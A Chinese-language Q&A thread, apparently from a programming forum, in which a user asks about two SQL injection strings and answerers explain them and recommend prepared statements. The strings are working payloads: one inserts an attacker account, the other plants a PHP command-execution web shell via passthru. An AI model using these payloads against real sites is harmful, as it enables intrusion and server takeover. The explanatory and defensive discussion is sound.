-1
 1. 

    ' union select 1, 'users (user, password) values (\'haxor\',
            \'1337\') #', 2 #

 2. 

    ' union select 1, 'modules (plugin) values (\'if
       (isset($_GET[\\\'cmd\\\'])) {passthru($_GET[\\\'cmd\\\']);}\') #', 2
       #
  • 这些代码片段是做什么的?
  • 如何防止它们出现在我的php文件中?
  • 什么是1337?为什么有很多 \ ?
4

2 回答 2

2

这些代码是做什么的?

好吧,这取决于具体情况,但从外观上看,第一个代码是试图绕过登录系统。第二个将允许黑客在服务器上执行命令并将输出直接显示回浏览器。

PHP 的文档:http passthru(): //php.net/manual/en/function.passthru.php

如何防止它们出现在我的 php 文件中?

有很多方法可以防止 SQL 注入。最推荐的一种是使用 PDO 库或 MySQLi 并利用准备好的语句。

什么是1337?为什么有很多 \ ?

取自 Urban Dictionary(来源:http ://www.urbandictionary.com/define.php?term=1337 )

leet 或精英的黑客“Sp33k”。源自黑客组织 Dead Cow Cult 使用的 UDP 端口 31337 “eleet”,以使用臭名昭著的黑客程序 Back Orifice 访问 Windows 95。

反斜杠用于转义特殊字符。查看此 WikiPedia 文章了解更多详细信息: http ://en.wikipedia.org/wiki/Escape_character

于 2012-04-15T11:05:09.650 回答
1

启动 SQL 注入的示例的主要部分是开头的 '。它会更改您的服务器读取的查询。

清理所有用户输入非常重要。

于 2012-04-15T10:50:40.800 回答